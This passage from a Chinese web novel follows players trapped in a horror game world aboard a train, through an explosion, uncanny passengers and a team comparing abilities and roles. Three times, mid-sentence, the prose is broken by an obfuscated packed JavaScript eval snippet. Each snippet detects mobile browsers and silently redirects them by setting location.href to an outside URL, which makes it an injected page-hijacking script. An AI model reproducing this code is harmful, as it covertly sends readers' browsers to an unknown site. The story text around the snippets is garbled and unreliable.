胡平说话特别有戏剧感。她确实想到了,玩家中可能会存在对立阵营,不过,这是可以直接问的吗? 难不成对方的天赋很强所以有恃无恐?还是说这才是副本世界的正确打开方式,什么隐藏身份根本不需要,明牌就行? 路时缘思考片刻,答。 【保护。】 就像狼人杀的游戏机制,底层逻辑永远是“好人”需要在明面上。即使是对立阵营,以“保护”的名义才更容易接近目标对象。 仔细一想,这个问题其实是非常无效的试探。 胡平过了一阵子发来回复:【很好,那我们就是队友了。下车之前我都会在售卖机这里呆着。】 ……比起乘务员,感觉他这话说的更像是售卖机成精了。 【这辆车上应该有其他玩家吧?你作为乘务员在四号车厢会不会保险一点?】 【可是这里的东西看着很好吃,你有尝试过吗?】 【我买不起。】 【算了,你说的对。我作为乘务员应该接着去巡逻,你自己小心点。】 胡平似乎一直在强调他的身份。身份卡是什么,很重要吗?路时缘意识到自己对副本信息的认知非常有限。而胡平看起来应该是一个比系统好得多的新手指引。 【所以我们是不是需要扮演好自己的身份?】 【咱们可不是在玩什么角色扮演类的游戏。】 但看你演的挺起劲的,路时缘默默吐槽。 【这种类型的副本世界我们一般称呼为''一号本''。玩家也许任务一样,生路却永远不止一条。你的生路,一定和你在这个世界的身份有关。同阵营的人身份不需要隐藏,生路可以共享的。】 路时缘想到了自己的新手副本,她当时扮演的应该就是“死前的自己”。 【所以,你在这个世界的身份是什么?】 【你是乘务员吗?那我应该是乘客。】 …… 轨道铺上连绵的树与山,列车驶入隧道,窗外可见的景象只有洞穴内壁那条窄而长的光带。 信号被山的一张嘴吞下,手机页面再刷新不出任何东西。车厢前的光屏还在播放着广告。 镜头跳跃于一座果园之中,树上结满了各色的果子——很像路时缘之前在售货架上看到的那些“球状物”,不过是放大版。园内摆着一块紫色方桌,衣着华丽的演员端着果子研磨而成的饮品,在荧屏中央微笑。镜头聚焦,路时缘甚至能看到演员脸上斑驳的粉,像一张即将剥落的面皮。 一饮而尽。演员们手拉手站起来,绕着方桌跑了两圈。随后腾空而起,衣物上繁复的花纹延展成金属纹饰,柔软的布料则膨胀硬化为金属薄板。 镜头拉远,身穿盔甲的队伍从圆环变成手搭肩的小火车,哼哧哼哧地在果树之间跳跃。果子纷纷被震落,掉进地面上一排排开着口的金属罐子。 罐子们盖上后摇头晃脑地跑到了演员们的手上。 而后字幕滚动出来:一次畅饮,终身受益,让你和你的家人从此过上奢华生活。 又是这句话。 ……都什么牛头不对马嘴的东西。路时缘震撼无比,这个世界的广告难不成是ai生成的? 列车呼啸冲出隧道,广告随之结束,恢复为时间播报的界面,偶尔穿插几张莫名其妙的旅游宣传图。 暗绿和深褐交织的风景在窗外流淌,隐约能见到楼房的影子。 “亲爱的旅客朋友们,列车即将抵达迁化北,请您携带好自己的行李物品,做好下车准备。” 路时缘前面的两位乘客都要在这站下车,俩人似乎是一对情侣。 “快点收。”那个女生已经跨着包站起来,在里侧催促着男生收东西。 男生动作倒是不紧不慢,“别催别催,列车没晚点我们就来得及。” 列车在四点十分抵达迁化北站。 路时缘看了眼手机,确实很准时。 上车的乘客在站台上乌泱泱地铺开,下车的乘客一团团聚在门口。 那对情侣已经并肩在门口站好。 车门随着“滋滋”的电流开启。路时缘听到远处重物压过地面的沉闷声响,空气揉进了一丝异样的味道。 她皱皱鼻子,那味道像是一锅焦糊的食物被倒入汽油后混合升腾的怪异气息。 “砰——” 巨大的轰鸣声从站台处传来。 首先是一团膨胀的火光,气浪如沸水般涌进这只巨大的铁皮箱。路时缘耳朵一阵刺痛,身体差点被震飞,双手死死抠住面前的椅背。她不合时宜地想到,这个身躯可能受到了“杀手”身份的加持,力量和五感都比原来的自己增强了不少。 “滴滴滴——” “滴滴滴——” 列车发出急促的警报声,车门毫无征兆地关闭。 男生正在把行李推出去,门缝猝不及防地咬断了他的身体和箱子,血肉模糊的尸.块和金属碎片飞进车厢内。 啪嗒。 一只断手砸到座椅斜前方。 而后是一个球状物,咕噜咕噜地滚到了路时缘的脚边。 那是一颗男人的头颅,双目圆睁,皮肉外绽,嘴角咧着夸张的弧度。 路时缘呼吸一滞,下意识踹出一脚。 头颅像只皮球般飞速向前滚去。 一圈,男人血肉模糊的脸被压成了一张没有五官的扁平面皮。 两圈,皮肉如同被烈火舔舐的蜡油,滴滴答答地落到地面上。 三圈,这个或许还能称为“头”的物体停止了转动。白骨和血肉一寸一寸地沉没。 无数血色肉块像雨点一样砸在车窗上,像是沾到了某种腐蚀物一般化为粘液,稠腻而黏糊地摊开、爬行,以毛骨悚然的速度贴满整片玻璃。 窗外视野彻底消失之前,她看见站台上的人或尸.体像水一样全部蒸发了。地面上只有跃动的红色火舌和流荡的血块。 没等她接收完这突如其来的变故。车身发出一阵剧烈颤动,在尖锐啸叫声中摇晃着,冲破未尽的烟雾和尘埃。 刹那间,那些黏糊物体,像是受到了某种强大力量的拉扯,开始从车窗上缓缓向下剥离。 路时缘不知道是不是自己出现幻觉了。她总觉得残存的粘液,像是一只只红色的手,紧紧地扒在玻璃上。 然而,有一种不可 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一堆围着草皮裙的原始人,邀请不同的小动物们去营地做客,好吃好喝招待完,动物们的四肢开始一节节延展,像柳条一样抽长出来。 最后大家手搭肩,又是载歌载舞的奇妙结局。 路时缘终于真真切切地意识到一件事。 这个世界,它不正常。 这辆列车,更不正常。 熟悉的、觉得全世界都疯了的异样感再次萦绕在心头。 她冒出来了一个想法。 如果现在,路时缘拿出刀砍在这些npc身上,他们会有什么反应?列车会怎么处理? 这个想法只是在心底过了一圈。 再次背上包,她决定直接驻扎在四号车厢。这下按理来说多少会出现一些空位。 她先给胡平发了一条讯息。 【你那边怎么样了,任务目标还好吗?】 任务目标下车地点是终点站,除非对方想不开中途下车,否则应该不会在爆炸事件中死亡。 但这次爆炸很可能就是冲着对方去的。 是原主的同行干的吗?如此声势浩大地袭击了站台上的乘客,而这趟列车似乎在某种保护下安然无恙。 还是说这个世界就是这么一个随地发生恐怖袭击的社会?看那些乘客的反应,路时缘甚至怀疑自己是否太没见过世面了。 她得马上前往四号车厢。 地面非常干净,甚至总觉得比之前还要平整,像一块被抛光过的玉石。车门部件也完好无损,丁点看不出是刚从爆炸中脱身的模样。 路时缘感觉自己的口袋微弱地震了一下。 有人发消息给她。 两下。 路时缘摸出手机。 三下。 点开。 【人脸识别通过】 【您正在执行的杀了吗订单[066],有新的任务指示。】 三条标注着“定时发布”的消息。 不要下车! 不要下车! 不要下车! 9.汇合 路时缘感到了一种微妙的熟悉。自新手副本以来,她对这种不明所以的提示已经有了本能的警惕。 对方头像上的绿色徽章,此刻如一枚旧物,褪成了灰暗的色调,像是某种不详的预兆。 她尝试发送信息,但回复栏和头像一样暗了下去。 “不要下车”虽然也可以理解为是对方让她在车上直接做掉任务目标的意思,但这怎么看都更像是一条警告。 而且是针对原主的警告。 难道是他们的行踪被警方发现了?而列车有特殊的方式保护这些杀手? 按照刚才列车在爆炸中的样子来看,这种情况可能性很大。只是,列车发生的种种诡异现象,让她不由自主从另一个角度思考这条提示。 这有可能是副本的生路所在。 耳边一如既往的嘈杂。 路时缘向前走了一步,站在那个幸存女生的座位旁。 女生正塞着耳机刷视频。路时缘投下的阴影引起了她注意,于是抬起头,看着一动不动的路时缘,好心询问道:“你要坐里面吗?” 说着她站起身来,给路时缘让开一个身位。 路时缘闻到了对方身上的香水味,是淡淡的果木香。 “不用了,我是想问刚才这个座位上的男生去哪了?” “噢,他呀。”女生面色平静,像是说起今天的天气一般自然。“他死了,你要找他的话,得等等了。” 路时缘张了张嘴,一时间不知道自己是不是被诅咒了——什么叫等等,去地府里等吗。不,应该说这件事从头到尾就很瘆人。 女生见路时缘不说话,又问了一遍:“这个位置能坐,你要进来吗?” 路时缘后退一步:“真不用了,我座位不在这。” 女生像是听到什么笑话,眼睛弯成月牙:“那好吧,我看你一直坐在其他人的位置上,还以为你不在意这个呢。” 说完,女生掖着裙摆坐回椅子上。划开手机,长而浓密的睫毛垂下,侧脸恬静美好。 路时缘的视线落在女生的脸上,肌肤光滑如玉,透着健康的红润色泽。 对方知道自己坐在其他人的位置上,这说明了两件事。 第一,路时缘在被“她”关注着。 第二,“她”知道后排那个位置不属于路时缘。 她不该犹豫。 就在此时,仿佛猜到了路时缘心中所想,女生拨开一侧的头发到耳后,露出一枚银色的耳钉,身体放松地躺在椅背上,抬起视线:“你要杀了我吗?” 这句话仿佛启动了某个开关。 “你要杀了她吗?” “你要杀了她吗?” “你要杀了她吗?” 顷刻间,车厢内的乘客竟如同被同一根丝线牵引的木偶,齐刷刷地开口,所有人的目光瞬间锁在路时缘身上! 路时缘不再犹豫,收起刀拔腿就跑! “你要杀了她吗?” “你要杀了她吗?” “你要杀了她吗?” 她的身影如一道黑色的风,朝前方车厢的方向飞速移动,长靴踏过连接口的金属通道。就在她冲进六号车厢的刹那,那些低语仿佛被一道无形的屏障瞬间隔绝开来。 这节车厢内,弥漫着熟悉的嘈杂声。乘客们或聊天,或玩手机,或闭目养神。仿佛无论发生什么,都不会惊扰这一副日常的画卷。 路时缘放缓脚步,视线一寸一寸扫过乘客的面孔。她注意到,刚才的那对母子已经不在座位上了。这节车厢内似乎也没有新乘客。 她接着往前走。 五号车厢。 路时缘一眼就看到了几个熟悉的身影。胡平戴着那顶乘务帽靠在他的餐车旁。汪瑜正在整理头发,原本卷着好看饱满弧度的头发此刻在她手上像一把蓬乱的草。她旁边坐着一个体型壮硕的平头男。 他们的后面则是那个扎着方巾的小女孩,看着路时缘走进来,眼神中露出一丝怯意。 除此之外,再无其他乘客。 “你怎么这么慢?”胡平先开口。 路时缘停住脚步:“其他乘客呢?” “死了啊。”胡平说这话的神态,竟然和刚才的女生别无二致。说完,像是知道路时缘接下来要问什么,他指了指汪瑜。“她做的。” 汪瑜冷冷地瞥了眼胡平,复而转头询问平头男。“她有血条吗?” 平头男摇摇头:“是队友。” “行,既然人齐了,互相介绍一下方便之后行动。”汪瑜俨然是这里的领导者。路时缘猜测,她的天赋应该很强。 “记住,你们不需要袒露具体的天赋和身份,但至少说清楚你能做什么类型的工作。” “我叫胡平。”胡平率先开口。“我的天赋和我的身份有关,非要说的话,应该是探查信息类。” 虽然胡平没有明说,但路时缘接触下来,她大概推理出胡平的能力应该和“扮演”有关。 “嗯……”扎着方巾的女孩咬了咬嘴唇,有些犹豫,“我叫步小连,我的身份是学生,而且,好像就是任务目标的学生……” 步小连说,她一醒来就在站台上,手里攥着车票。系统在站台广播里通知了任务,她发现自己的座位正好在任务目标旁边。 上车后,任务目标认出了她。 “你们说什么了?”路时缘问。 “我当时很害怕,我不知道原主是什么性格,所以不敢和她多说话。”步小连低下头。 胡平:“哎呀!你是新人吧?” “嗯?我做过新手副本。” “那个大家都做过。”胡平夸张地挥着手臂:“你们新人就是喜欢先入为主!咱们不是在拍戏,身份这玩意儿,说白了,不过就是给你提供信息的工具罢了,哪有那么多弯弯绕绕!再瞧瞧你这身份,和任务目标直接挂钩,天胡开局啊!” “那……那我应该怎么办?” “我看你就回四号车厢吧!继续呆在任务目标旁边。不对,我把你叫过来,任务目标都不关心自己的学生去哪了?” “这个任务目标其实挺奇怪的。”汪瑜皱了皱眉,才意识到话题已经被带歪了:“好了,列车和目标的信息我们等一下再说。” “黄书明。”平头男接上,“我的天赋是能看到对立阵营的血条。不过我看不到具体数值,只能通过血条长度大概判断对方的生命值。” 他是第一个直接透露天赋作用的人。路时缘想了想,这个能力还挺有意思:“那你能看到副本里npc的血条吗?” 黄书明颔首:“包括副本任务和我不同的玩家。” 说完他苦笑一声,“好像除了找队友没什么用了这个天赋。” 汪瑜:“不,至少这个本里找队友很关键,我们需要判断有没有玩家对任务目标是有敌意的。” 路时缘问黄书明:“你是从哪个车厢过来的?” “六号车厢。” “谁去过一号到三号车厢?”她接着问。 汪瑜面色凝重。“那三节车厢里都里没人。” “我是汪瑜,能力和时间有关。至于我的身份……”她亮出一张证件。“我是官方调查局的人。” 老鼠碰到猫,这不巧了么… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712177|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …路时缘:“调查什么的?” “异常事件调查局。”汪瑜补充道,“具体任务信息我没找到。但既然‘我‘会出现在列车里,说明这个地方有问题。” 路时缘:“也许是这里的乘客有问题。” 汪瑜不置可否,“剩你没说了。” 令路时缘意外的是,汪瑜是在场唯一一个同时透露自己天赋和身份的人。 “我好像不是什么正派角色,我是为了杀任务目标来的这里。” 此话一出,所有人齐齐看向路时缘。胡平的反应最为夸张,一副被路时缘背叛的神情。 汪瑜:“你确定?” 路时缘举起手:“警官,这一回我想当个好人。” “对方要求我在七天之内杀了她。我不清楚我那个组织有什么防范措施。所以,你们需要提防我,也需要提防我的同行。” 汪瑜冷笑一声:“如果我在这里直接杀了你呢?” “请便。不过我作为玩家是你们的队友。要是我死了,组织再派一个未知的杀手过来,你们不是更麻烦?” “比起麻烦,我更讨厌不确定性。” “看来你对自己的天赋很自信。” “其实只需要限制她和任务目标单独相处就行,我们不确定她的组织有没有留什么后手。”黄书明看着剑拔弩张的俩人,担忧地开口,“至少我的能力能确定她是我们的队友。” 胡平:“所以汪瑜你把这节车厢的乘客杀掉后,尸体也会被列车吞噬掉吗?” “尸体确实会消失,但我没有杀那么多人。”汪瑜压下眉头,忍着不耐再次解释:“杀死其中一个乘客后我回到六号车厢,再次进来时他们都不见了。” “而且我之前确认了五号车厢里的乘客头上都有血条,不管怎么样她杀的不是队友。”黄书明说。 步小连揪紧衣角,不安地开口:“这辆列车有问题,还好我们马上要下车了。” 胡平摇头:“不不不,副本世界就没有正常的。我们对这个世界规则的探索还是太少了。” 汪瑜:“是的,如果能多死几个人就有线索了。” 这话不假。路时缘在心里点点头,当然,死的不是自己就行。 “打打杀杀不可取啊!”胡平不同意,“我看这任务现在也没啥致命危险啊,我们小心一点无伤通关不好吗?” 汪瑜嗤笑:“天真。” “我崇尚和平。”胡平站直身体,握住推车的把手,“好了,我要去四号车厢巡逻了。” “再见。”路时缘挥了挥手。 胡平挺着背端庄地消失在众人的视线里。 *** “亲爱的旅客朋友们,列车抵达终点站海丰,请您携带好自己的行李物品,做好下车准备。感谢您选择本次动车,我们期待着与您再次相逢,祝您旅途愉快,一路平安!” 上了这个贼车,看上去不像能平安的样子,路时缘吐槽。 列车缓缓停靠,站台的灯光在地面铺陈出一片明暗交织的光影。列车门缓缓滑开,金属摩擦的声响在寂静的车厢内格外清晰。 步小连和汪瑜后半程坐在四号车厢,她们会跟着任务目标下车。 透过窗户可以看到其他车厢的乘客陆陆续续来到站台。 “快走吧,”黄书明站在车门口催促道,“去和她们汇合。” 路时缘背起包。 车厢内已经空无一人,很安静,连车外的声音都听的不太真切。 路时缘还是很在意那条信息—— “不要下车。” 她在门口止住脚步。 10.下车 周围已经没人了。座位上的小桌子还零星散落着之前乘客留下来的纸团和包装袋。 “不要下车”究竟在提醒她什么?任务才刚开始,还有七天时间,她怎么可能不下车?难不成要让她七天时间都藏在这辆列车里? 这或许也不失为一种通关路线。首先目前为止她都没遇到过正经乘务员,其次她有队友,让他们在下面好好保护任务目标,她在车里远程投投骰子帮帮忙。 路时缘觉得自己探索出了一种不得了的玩法。 车厢内出奇的安静,乘务员真的从始至终都没有出现。 路时缘走进四号车厢。 胡平、步小连、汪瑜和任务目标都下车了。车厢内还剩下几个慢吞吞收行李的乘客。 “呲——” “呲——” “呲——” 断断续续的声音从三号车厢处传来。 奇怪,汪瑜不是说前几节车厢没人吗? 这节车厢的最后一个乘客是个佝偻着背的老奶奶,她系着围巾,怀里抱着一袋垃圾,将行李箱慢慢推到站台。 外面人影攒动。 路时缘放轻脚步,走到车厢连接口。 她攀住扶手,从这个角度能看到两列座椅,暗沉的光笼罩在过道上,里面貌似确实没人。 “呲——” “呲——” “呲——” 路时缘向前走了一步。 座椅上方的玻璃窗仿佛被人泼上了红色油漆,入目一片血色。 厚重的血幕将光线扭曲过滤为毛骨悚然的昏红。座椅原本的色彩被吞噬,皮革像是刚从血池中捞出,蒙了一层血色油膜,泛着湿漉漉的光。灯带周围晕出一圈模糊的光晕,顺着车顶蔓延。 猩红色的血雾如同被煮沸般一点点蒸发散去,路时缘看清楚了。 血雾之后,是一张张冷白的、毫无生气的鬼面,密密麻麻地贴在窗户上,黑色的眼珠填满了整个眼眶,没有眼白。 “咯吱——” “咯吱——” “咯吱——” 血块不断向上翻涌攀爬。如同广告里播放的那样,这些鬼面生出了四肢和躯干,像黏液般死死扒着车身。 路时缘意识到,这是爆炸后附着在车窗上的血块,它们没有消失,一直都攀附在这辆列车之上。 同一时刻,车厢尽头的灯带连续闪烁了两次,随后将前面一小片区域拖入黑暗中。紧接着,黑暗随着灯光的熄灭一节一节向路时缘所站的地方推进。 窗外的鬼影再次消失不见,站台上伫立着一团团模糊的人影。 “哐当——” 一道较为沉闷的金属撞击声,这是门轴与轨道连接处在摩擦,宣告着车门开始移动。 前方车厢的车门打开了。 在此时才打开的车门,意味着什么? 路时缘心中有了不详的猜测。转过身,身后车厢的车门仍然是打开的状态,透过一小扇空隙,乳白色的雾气在浮动。 她逐渐看不清列车外的景象了。 “咔哒” “咔哒” “咔哒” 是脚步声。 有人从前面车厢的门进入这俩列车了! 路时缘心脏一缩,脚向前一迈,踏入前方敞开的车门。 *** 列车像巨兽般伏在铁轨上。车内的灯被关闭,从外面看不清窗户内的景象。 拖轮声朝着电梯和楼梯口处移动。 罗湘很关心这个车上偶遇的学生,拉着她的手在人流中穿行。 胡平和汪瑜在她们身后维持着一个不远不近的距离。汪瑜推着一只皮质行李箱,高跟鞋在地面上踩出蹬蹬的响声。 胡平频频朝后看去,没看到路时缘那些在五号车厢的人。手机里头说的是之后看情况找时机汇合。 他身上没有行李。天赋选择了“乘务员”这张身份卡后,自己身为乘客的行李就消失了。推车无法搬到车下,只要碰到门边就会被一道无形的屏障隔开。 本来以为自己获得了什么关键装备,没想到只是列车限定的道具,貌似也没产生什么作用。 好在推车上的食物和饮品能被带下来,他尝试朝站台口丢了几瓶食物和饮品,没有遇到阻碍。于是他的牛仔外套口袋塞了两包饮料,手上拎着一瓶玻璃罐头。 胡平的手下意识朝头顶扶去,是熟悉的布料触感——诡异的是,那顶制服帽还在。 这说明他此时的身份仍是“乘务员”,还改不了。 除了帽子,他再没有什么身份道具可言。 胡平有点后悔。虽然任务时间有七天,但他以为列车上会出现什么关键剧情,这才放弃了乘客这个身份。 目前看来,剩下的七天还是要在这个城市里生活。 这个世界的身份识别基本都靠人脸。安检员身着深蓝色制服站在一旁,看着红线在这些乘客的脸上长出后又消失。 玩家们都下意识想要规避这种怪异的识别方法。然而,跟在任务目标旁的步小连,暂时想不到逃脱安检的方式。 实际上,从火车上下来的乘客或多或少都经历过一次面部识别。 步小连在罗湘后面把包放入安检口,跟着人群让那只冰冷的探头扫过她的脸。 应该不会有事,她这么安慰自己。 汪瑜和胡平分别在她俩的五个身位后排队。 “怎么说?”胡平压低声音问,“要避开这个安检吗?你说我们能制服这些工作人员吗?” “这个时候不说打打杀杀不可取了?”汪瑜环着手臂,斜了他一眼,提醒道,“还有你不就是工作人员吗?” “对哦!”胡平一拍脑门,声音不自觉抬高,“我应该去走员工通道。一起走不?” 汪瑜拒绝:“算了,员工通道可能也有识别。如果被识别是触发死路的条件,那在车上我们就死了。”她决定尽量跟着任务目标。 胡平点点头,扬了扬手机示意线上联系。既然他还拥有乘务员这张身份卡,行职务之便也是理所应当。 电子屏上闪烁着车辆班次信息,广播内偶尔传来几声播报。和列车的崭新整洁不同,车站大厅弥漫着烟味和城市在雨季里特有的霉味。墙面的白色涂料大片脱落,露出一点点灰面。铁制的椅子上布满了斑斑点点的金属锈色。 走出站口,雾气从城市边缘层层叠叠地涌来,带着深入骨髓的湿冷,像细密的针,轻轻刺着裸露的肌肤。 平台口的广场上,地面坑洼不平,蓄着一些昨夜下雨产生的积水。摩托车横七竖八地停放着,车主的吆喝声尤为嘈杂。不远处,几个小摊贩摆着一排三轮车,车上放置着简陋的摊位,售卖食物和饮料——包装和列车上的如出一辙。昏黄光线下,食物也显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14757106|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得十分廉价。 马路边停着一串待客的出租车。几个司机靠在车边抽烟,时不时交头接耳几句。白色烟雾从他们的口鼻中溢出,烟灰飘落在柏油路面上。 “小连,你要怎么回去?”罗湘在出站口停下,她去绿园市出差两天,带的行李并不多,只有一个白色的到膝盖处的小箱子。 “罗老师,你要回学校吗?”步小连知道自己应该找理由跟上任务目标,但对方如果提出要送她回家,自己很可能会露馅——她用的是类似小灵通的非智能手机,平板里也没找到自己的家庭住址。 “不去学校,你爸妈不来接的话就跟我走吧。”罗湘看了眼手机,“这里有点堵,车还有五分钟到,咱们坐里面等会,别吹风着凉了。” 看来对方是知道自己住在哪的。步小连跟着罗湘在大门边找了个椅子坐下。还好原身似乎也是个话少的学生,面对步小连的寡言,罗湘并不感到奇怪。除了刚开始遇见关心了两句,也不会刻意找话题和学生聊天。 汪瑜通过安检,先在大厅里搜寻了一圈。随后在她俩附近也找了个位置坐下。 为方便联系,玩家们拉了个群聊。路时缘在车上下载了“鸽圈”,被迫接受现代化改造。 【步小连:老师说送我回去。】 【胡平:不是吧!得来全不费功夫啊,你问问能不能顺便去她家坐坐?】 ……胡平真的是一个激进派,完全不担心在npc面前暴露身份的问题,做事似乎也从不考虑符不符合人设。 尽管他一直强调自己的人设。 【步小连:嗯……直接问吗?】 【汪瑜:不用听他的。你回家找找相关信息,明天正好周一要上课,到时候也能见到。】 【胡平:我这不是担心有什么变故嘛!虽然第一天按理来说风险不大。】 【胡平:话说咱们几个本来就不住海丰市的人今晚上哪呆着?还有小路小黄他们人呢?】 【汪瑜:我要去分局一趟。】 【黄书明:我下来了,在安检口排队。】 【路时缘:我也,人怎么还这么多?】 【胡平:赶紧出来吧!我刚刚在调度室和员工休息室转了一圈,见鬼了,里面全部没人!】 【路时缘:我是真见鬼了,你们在哪,我去找你们汇合。】 【胡平:你要是真见鬼了先把手机销毁啊!别让它们捡到你手机来套信息。你该不会已经被替代了吧!】 不得不说路时缘很佩服胡平的脑回路,如果她没及时跑下来,说不定剧情还真像对方所说的那样发展。 下车后,站台上的乘客有序地向出口处挪动。车身干净,线条流畅,在余晖中散发着金属的冷冽质感。她本以为要上演一场追逐戏码,没想到外面的景象如此正常。 血腥肉块和狰狞鬼面都消失了。她似乎是最后一个“乘客”,车门在她离开之后缓缓拉上。从外看去,窗户内一片漆黑。 那些东西,是全部进入列车里了么? 路时缘不由自主凝视着黑色玻璃窗,随着时间增长,她感觉到这静止的黑暗,似乎开始缓缓流动。 眩晕感如潮水般袭来,她恍惚了一阵,反胃感从胸口处不断向喉口处翻涌,好似要将五脏六腑都一并呕出。 路时缘连忙别过视线。她觉得自己并非在看一扇车窗,而是在凝视一道恶意的深渊。 11.血条可视化 作为“血条可视化”的拥有者,黄书明在1号本里向来不用担心确认不了队友的问题。 准确来说,他的天赋是识别周围所有对立阵营目标的血条。因此,他可以直观地通过有无血条来判断队友。 在他眼中,对立阵营的玩家头顶上会悬浮着一管拇指粗的红色血线——无法触碰,长短不一,没有标明具体数值,会根据受伤的程度而缩短。 血条无法在任何镜面物体中显示,他抬头也看不见自己的血条。 所有副本npc,无论是否持善意态度,头上都有血条。似乎在天赋判定下,副本里的智慧生物全部属于敌人。也正因如此,每当身处人群之中,看着那密密麻麻悬浮在众人头顶的红线,黄书明总会感觉自己的精神仿佛也被这些血线扎入,饱受折磨。 血条显示无法关闭,这何尝不是一种玩家们趋之若鹜的无cd天赋? 此外,血条可视化还拥有伤害预知的功能。 第一个正式副本中,他试图制服被鬼感染的npc。出刀之前,竟看见对方已经畸变的头颅之上凭空多出一管红线,和原来的血条相比,空出五分之一。 发现这点后,天赋说明才增加了“伤害预知”的词条。词条显示,如果他决定对某个目标发起攻击,且这次攻击全程只由自己完成,那么能够预见攻击成功后对方的血条,每天有三次预知机会。 进入副本时,黄书明睁眼便发现自己被投放到一节车厢内。眼前的景象让他瞬间神经紧绷起来——周围坐着形形色色的乘客,头上都悬浮着血条。 广播里的机械音适时响起,播报了副本任务。系统这次并没有给玩家任何限制。这反而令他更加担忧,越是简单的任务描述,玩家越容易触发死路。 任务目标在前两节车厢。他不清楚这辆列车的规则,不敢贸然行动。 观察。 观察规律很重要,这是他参与几次副本后得到的经验。黄书明很快发现,前面有两个乘客头上的血条,在以一种极为缓慢的速度缩减,就像漏斗里缓慢下渗的沙子。 这无疑是一种危险的信号。倘若整个车厢的人都出现这种情况,黄书明恐怕会怀疑自己的生命值也在流逝之中。 还好,列车停靠,乘客轮换之际,那两个被黄书明重点观察的乘客无一例外都在收行李下车。 不等他松口气,就见一个熟悉的身影从前方车厢的方向大步走了进来。 对方凌厉的目光很快锁在自己身上。她只是站在那里,就有令人无法忽视的气场。 看到汪瑜的那一刻,黄书明先是一愣,旋即惊喜万分。在满是血条浮动的车厢里,汪瑜的头顶干干净净,意味她这次还是与自己并肩作战的队友。 谢天谢地。但凡是见过汪瑜使用天赋的人,都绝不会有去招惹这位玩家的念头。 这一次,寻找队友的过程出奇地顺利。不知道是因为有汪瑜为他的天赋背书,还是匹配到的玩家性格都不错,队友们很轻易地接受了他提供的信息。 他之前参加过一个副本。当时,同为队友的玩家并不相信他的天赋说明,明明可以无伤通关,硬生生因为队友之间相互厮杀,最终只剩三人存活。 黄书明生前最憎恶因猜忌而产生的不必要牺牲,死后获得了这种天赋,却仍然无法阻止悲剧在面前上演。 关于这次副本任务,他至今没什么头绪。 既然要保护,任务目标必然处于危险之中。危险来自于哪里?是另外一个玩家身份牌所代表的杀手组织吗?老实说,黄书明很欣赏那个叫路时缘的玩家,她没有选择隐瞒这条信息,尽管因此遭受到了汪瑜的敌意。 胡平的话只说了一半,身份不仅仅是提供信息的手段,也可能是触发死路的陷阱。如果路时缘说的身份是真的,那无论如何她在这个副本都不能走“扮演身份求生”这条路线。 这也很可能会触发死路——只属于路时缘的死路。 他和路时缘选择留在五号车厢里,没有去四号车厢看着任务目标。当然,他原本也是想和大部队一起的。绝不落单是他的生存法则。 面对汪瑜的安排,路时缘腿一伸,整个身体定在椅子上,扬言懒得过去。 于是他不得不在汪瑜的授意之下,留在五号车厢“监视”路时缘。 人都走后,车厢内瞬间安静下来。 黄书明本想再问问路时缘关于杀手组织的事儿。对方没给他开口的机会,盖上帽兜,把头朝臂弯内一埋,瞬间进入睡觉的状态。黑发从帽沿处滑落,在小桌子上散开,松弛的模样完全不像是胡平所透露的那种“新手”。 黄书明不好打扰,也靠上窗准备闭目养神。 他这次副本世界获得的身份是,美满高中的一名体育老师。 现在看来,黄书明和步小连的原身和任务目标都认识,从理论上讲,这是一个信息量极大,同时也是最难扮演的身份。 睁开眼,盯着窗外飞速后退的建筑影子,黄书明突然有种直觉,自己没有跟去四号车厢,或许是一个误打误撞的正确选择。 抵达海丰时已经是傍晚时分,晚霞碎金般散落,为城市铺上一层暮色。广播声一出现,路时缘便掀起头来,几缕发丝粘在脸上。动作之迅速,甚至不需要他出声提醒,让一旁的黄书明忍不住怀疑,她刚刚是不是压根就没在睡觉。 路时缘不知道在想什么,醒来就双目无神地坐在位置上。不,这话有失偏颇,这个玩家从头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776271|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到尾都是一副没睡醒的样子。 黄书明率先起身,望向外面的人流。 列车开门停靠,车厢里的温度逐渐变低,这令他产生了一种本能的不安。 他催促一句后便不再耽搁,快步走上站台。 绵长的红光横贯天际,橙红和绛紫在天上交织,将列车和铁轨罩在一片不详的紫红色调中。即便如此,比起人群头上的红线,黄书明觉得副本里的怪异现象反而没那么令人压抑。 人群密密麻麻地挤在一起,黄书明没瞧见汪瑜他们,立马低下头把视线放在前方路人的背后,以求片刻的喘息。 他跟着人流缓缓挪动。 【黄书明:我快下来了,人很多得排队。】 快到楼梯处,原本有序前进的人群,像是遇到了什么障碍物,纷纷自发地向两侧绕开,前方空出了一小片区域。 嘈杂声中,他捕捉到一丝细微又突兀的声音。 